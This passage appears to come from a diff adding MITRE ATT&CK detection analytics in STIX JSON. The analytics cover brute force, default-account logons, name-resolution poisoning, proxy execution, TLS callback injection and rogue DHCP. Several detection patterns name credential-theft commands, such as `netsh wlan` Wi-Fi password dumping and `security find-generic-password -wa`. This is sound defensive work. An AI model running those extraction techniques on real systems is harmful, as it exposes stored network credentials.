"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:Security", + "channel": "EventCode=4697" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedResponderList", + "description": "Defines expected LLMNR/NBT-NS responders to tune out legitimate services." + }, + { + "field": "TimeWindow", + "description": "Correlation period for linking poisoned name resolution with SMB relay attempts." + }, + { + "field": "SMBServiceBaseline", + "description": "Normal services and SMB relay patterns in the enterprise environment." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--db50537c-9234-4350-9bf0-838d4cffbd34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0463#AN1275", + "external_id": "AN1275" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1275", + "description": "High volume of failed logon attempts followed by a successful one from a suspicious user, host, or timeframe", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4625, 4624" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Adjustable window to correlate failed logons, e.g., 5-10 minutes" + }, + { + "field": "UserContext", + "description": "Define scope of monitored users (e.g., service accounts, admins)" + }, + { + "field": "FailureThreshold", + "description": "Count of failed logons before raising an alert (e.g., 10-15)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cba73580-034b-4cdd-84a2-22704d520e9c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0463#AN1276", + "external_id": "AN1276" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1276", + "description": "Multiple authentication failures for valid or invalid users followed by success from same IP/user", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "auditd:USER_LOGIN", + "channel": "USER_AUTH" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Period of brute force activity correlation (e.g., 5 mins)" + }, + { + "field": "IPWhitelist", + "description": "Exclude known monitoring IPs or jump boxes" + }, + { + "field": "LoginSource", + "description": "Filter SSH vs. local logins" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--72bf9819-b0b5-43ab-9c2d-195abe8165b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0463#AN1277", + "external_id": "AN1277" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1277", + "description": "Password spraying or brute force attempts across user pool within short time intervals", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Sign-in logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UsernameSprayThreshold", + "description": "Max number of accounts targeted from a single IP" + }, + { + "field": "GeoAnomaly", + "description": "Mismatch between user location and request location" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b31fc018-6fbc-4de7-9bf2-f545b5f8f0c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0463#AN1278", + "external_id": "AN1278" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1278", + "description": "Multiple failed authentications in unified logs (e.g., loginwindow or sshd)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "macos:unifiedlog", + "channel": "auth" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Scope of authentication failures (e.g., 10-15 mins)" + }, + { + "field": "TargetUser", + "description": "Filter known service or decoy accounts" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a1436a64-ffc4-4e39-a7c8-140e78336ffa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0463#AN1279", + "external_id": "AN1279" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1279", + "description": "Excessive login attempts followed by success from SaaS apps like O365, Dropbox, etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "m365:unified", + "channel": "Sign-in logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppName", + "description": "Detect brute force attempts targeting specific apps" + }, + { + "field": "UserGroup", + "description": "Limit alert scope to high-value user groups" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8d58973f-7fd7-435e-86b8-58f9b399f89f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0464#AN1280", + "external_id": "AN1280" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1280", + "description": "Enumeration of saved Wi-Fi profiles and cleartext password retrieval using `netsh wlan` or API-level access to `wlanAPI.dll`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WiFiProfileName", + "description": "Filter by known saved SSID names to reduce benign usage of network diagnostics" + }, + { + "field": "ParentProcess", + "description": "Anomalous parent-child relationships may be used to spot abuse (e.g., Office \u2192 netsh)" + }, + { + "field": "TimeWindow", + "description": "Correlate profile enumeration and password dumping within short timeframe (e.g., 60 seconds)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1f3a6d61-9658-4c9b-92af-5c711206e3fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0464#AN1281", + "external_id": "AN1281" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1281", + "description": "File access to NetworkManager connection configs and attempts to read PSK credentials from `/etc/NetworkManager/system-connections/*`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:PATH", + "channel": "file read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilenamePattern", + "description": "Filter for filenames like *.nmconnection or profiles containing SSID names" + }, + { + "field": "UserContext", + "description": "Distinguish between root/admin script usage vs. non-privileged terminal access" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ce2233bb-9715-4e7b-8603-7218f8bae326", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0464#AN1282", + "external_id": "AN1282" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1282", + "description": "Use of the `security` command or Keychain API to extract known Wi-Fi passwords for target SSIDs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WiFiNetworkFilter", + "description": "Match suspicious SSIDs being queried via `security find-generic-password -wa`" + }, + { + "field": "ExecutionUser", + "description": "Monitor root/admin usage of credential tools not linked to UI/system processes" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7a3dd710-39a7-4327-8d3b-150c50b2c680", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0465#AN1283", + "external_id": "AN1283" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1283", + "description": "Detection of default account usage such as Guest or Administrator performing interactive or remote logons on systems outside of installation or maintenance windows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Default usernames like 'Administrator' or 'Guest' may be renamed or disabled by the organization. Detection logic should account for name changes." + }, + { + "field": "TimeWindow", + "description": "Restrict detection to unusual hours or outside of expected maintenance windows." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c804a181-f0be-41dd-81ce-95e0a3e5245d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0465#AN1284", + "external_id": "AN1284" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1284", + "description": "Monitoring for SSH logins from default accounts such as 'root', especially when login is via password and not key-based authentication.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "auditd:USER_LOGIN", + "channel": "USER_LOGIN" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SSHMethod", + "description": "Environments using passwordless SSH should not have password logins enabled for root or other default accounts." + }, + { + "field": "RemoteIPWhitelist", + "description": "Logins from jump boxes may be whitelisted depending on environment policies." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a8ed4e86-c79a-40db-84e5-1b4cf0e917d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0465#AN1285", + "external_id": "AN1285" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1285", + "description": "Use of known default service accounts or root-level cloud accounts performing authentication or changes to IAM policy.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin or AssumeRole" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccountList", + "description": "Organizations may rename or rotate default IAM accounts; detection logic should be updated with any renamed or aliased default identities." + }, + { + "field": "GeoLocation", + "description": "Authentication attempts from unusual geographic regions should trigger anomaly detection." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--96fe3582-b1a3-40e4-9e9d-bab764f2af7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0465#AN1286", + "external_id": "AN1286" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1286", + "description": "Abuse of system-generated or default privileged accounts such as 'root' or 'vpxuser' logging into ESXi hosts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "esxi:auth", + "channel": "/var/log/auth.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccountName", + "description": "If 'vpxuser' is replaced or configured differently, detection logic must reflect the change." + }, + { + "field": "IPRange", + "description": "Legitimate vCenter IP ranges may be whitelisted to avoid false positives." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--305b6a70-6d5b-4b32-a40b-ae0cae342e62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0465#AN1287", + "external_id": "AN1287" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1287", + "description": "Login activity from default admin credentials (e.g., 'admin', 'cisco') on routers, firewalls, and switches.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "authentication logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Username", + "description": "Default usernames vary by vendor; defenders should adapt logic to their specific appliance list." + }, + { + "field": "InterfaceType", + "description": "Telnet and HTTP-based access to network devices should be blocked and monitored if enabled." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--84e969fd-a0ee-425f-a7dd-ae10e170d45a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0466#AN1288", + "external_id": "AN1288" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1288", + "description": "Execution of Microsoft-signed scripts (e.g., pubprn.vbs, installutil.exe, wscript.exe, cscript.exe) used to proxy execution of untrusted or external binaries. Behavior is detected through command-line process lineage, child process spawning, and unsigned payload execution from signed parent.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Environment-specific paths to script interpreters like wscript.exe, cscript.exe, pubprn.vbs, or installutil.exe." + }, + { + "field": "TimeWindow", + "description": "Time delta between signed script execution and suspicious child process creation." + }, + { + "field": "ChildCommandLineRegex", + "description": "Regex pattern used to detect malicious payload execution (e.g., download cradle, PowerShell decode)." + }, + { + "field": "SignedToUnsignedTransition", + "description": "Indicates whether the parent is signed by Microsoft but child is unsigned or unknown." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--44500eb7-01f2-4cab-8b76-1227bb48e13e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0467#AN1289", + "external_id": "AN1289" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1289", + "description": "Detects thread local storage (TLS) callback injection by monitoring memory modifications to PE headers and TLS directory structures during or after process hollowing events, followed by anomalous thread behavior prior to main entry point execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "EDR:memory", + "channel": "MemoryWriteToExecutable" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcessFilter", + "description": "Subset of processes whose TLS callbacks should not change post-load (e.g., explorer.exe, lsass.exe)" + }, + { + "field": "TimeWindowBetweenLoadAndTLSModification", + "description": "Acceptable delay between image load and memory tampering in .tls or .data sections" + }, + { + "field": "AnomalousThreadStartThreshold", + "description": "Number of threads executing prior to main entry point that is considered suspicious" + }, + { + "field": "PayloadEntropyThreshold", + "description": "Optional threshold to distinguish injected shellcode from benign memory writes" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--780021a3-d3e6-4c5b-a976-1c3715b990e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0468#AN1290", + "external_id": "AN1290" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1290", + "description": "Detects rogue DHCP server activity and anomalous DHCP OFFER/ACK messages assigning unexpected DNS or gateway values. Detection correlates DHCP server role changes, DHCP exhaustion warnings, and sudden network configuration changes across endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:System", + "channel": "EventCode=1341,1342,1020,1063" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "DHCP OFFER or ACK with unauthorized DNS/gateway parameters" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedDHCPServers", + "description": "List of known DHCP servers; unexpected sources are suspicious." + }, + { + "field": "TimeWindow", + "description": "Interval to correlate DHCP OFFER/ACK anomalies with subsequent misconfigurations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--05d8ce15-eaeb-47f5-abb7-8f8868dd8aaa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0468#AN1291", + "external_id": "AN1291" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1291", + "description": "Detects rogue DHCP activity by monitoring syslog for dhclient messages assigning unauthorized DNS/gateway values. Packet capture or IDS can detect multiple competing DHCP OFFERs from non-authorized servers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "suspicious DHCP lease assignment with unexpected DNS or gateway" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedDHCPMACs", + "description": "Expected MAC addresses of DHCP servers on subnet." + }, + { + "field": "DHCPLeaseChangeThreshold", + "description": "Number of suspicious DHCP leases before raising an alert." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4f2bc468-a57d-44e9-b9cd-d491df6b0daf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 